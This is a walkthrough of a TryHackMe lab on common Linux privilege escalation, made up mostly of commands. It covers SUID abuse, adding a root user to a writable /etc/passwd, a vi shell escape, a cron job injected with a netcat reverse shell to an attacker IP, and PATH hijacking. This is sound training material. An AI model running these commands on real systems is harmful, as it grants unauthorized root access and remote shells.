Common Linux Privesc
Room Link: https://tryhackme.com/room/commonlinuxprivesc
Enumeration
Download LinEnum Script
Kali
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Login to host
Kali
ssh user3@$VICTIM
Password: password
The target's hostname

There are 8 users

4 shells


Some users can write to passwd file

Abusing SUID/GUID Files
Victim
find / -perm -u=s -type f 2>/dev/null

Running the shell script in user3 home directory gives us root access right away.
Victim
/home/user3/shell

Exploiting Writeable /etc/passwd
Victim
su user7
Password: password
Victim
openssl passwd -1 -salt new 123
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >> /etc/passwd
cat /etc/passwd

su new
Password: 123

Escaping Vi Editor
Victim
su user8
Password: password
Victim
sudo -l

Victim
sudo vi
:!sh
whoami

Exploiting Crontab
Victim
ssh user4@$VICTIM
Password: password
Kali
msfvenom -p cmd/unix/reverse_netcat lhost=$KALI lport=8888 R

Kali
nc -lvnp 8888
Victim
cat /etc/crontab

Add our payload we made in Kali to the script
Victim
echo 'mkfifo /tmp/cibykaz; nc 10.10.185.2 8888 0</tmp/cibykaz | /bin/sh >/tmp/cibykaz 2>&1; rm /tmp/cibykaz' >> /home/user4/Desktop/autoscript.sh
Wait for the script to run and catch the shell on Kali.

Exploiting PATH Variable
Victim
su user5
Password: password
The script in user5 home directory is just doing the command ls.
Victim
cd /home/user5
./script

We now create a script called ls that gives us a bash shell.
Victim
cd /tmp
echo "/bin/bash" > ls
chmod +x ls
Before we change the path we can see ls goes to /bin/ls
Now after running the below command ls is now directed to our script.
Victim
export PATH=/tmp:$PATH

Now the script in user5s directory acts differently, we now have a root shell.
Victim
cd /home/user5
/script

Run the following to reset the path variable.
Victim
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH
Last updated